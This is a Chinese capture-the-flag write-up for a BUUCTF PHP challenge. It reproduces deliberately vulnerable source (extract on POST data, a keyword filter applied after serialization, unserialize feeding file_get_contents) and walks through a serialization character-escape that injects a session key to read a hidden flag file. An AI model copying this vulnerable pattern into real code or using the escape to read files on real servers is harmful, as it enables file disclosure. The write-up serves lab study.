BUUCTF [安洵杯 2019]easy_serialize_php //PHP反序列化字符逃逸

打开靶机，打开链接，进入代码页面

 

 

 

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
?>

审计代码,首先检查序列化语句

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

提示：当f赋值为phpinfo()时有提示

先赋值进去得到了

flag可能在这里

 继续审计一下代码，在虚拟机里面模拟一下，有个filter过滤了flag，php，php2，给f赋值为show_image，无输出

 

 多检查一边，发现原来已经有一个序列化了，而且还对_SESSON unset了,还要POST两个值：“user”“function”

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

输出一下序列化后的值，并且对user赋值为flagflagflagflagphpphp，

 

 

 关于php序列化逃逸，看一下大佬的WP

 

因为a:3:{s:4:"user";s:22:"";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}里

第二个s:22:""为空，所以就自动从第一个双引号之后收入22个字符，即以 ";s:8:"function";s:10: 结尾，抛弃后面的所有参数，

array(3) {
  ["user"]=>
  string(22) "";s:8:"function";s:73:"
  ["function"]=>
  string(10) "show_image"
  ["img"]=>
  string(20) "ZDBnM19mMWFnLnBocA=="
}

所以session的赋值就应该是 ;s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}补全序列化

得到了flag在/d0g3_fllllllag里面

 

 继续构造，把/d0g3_fllllllag base64编码后替换再次发包

 

 得到flag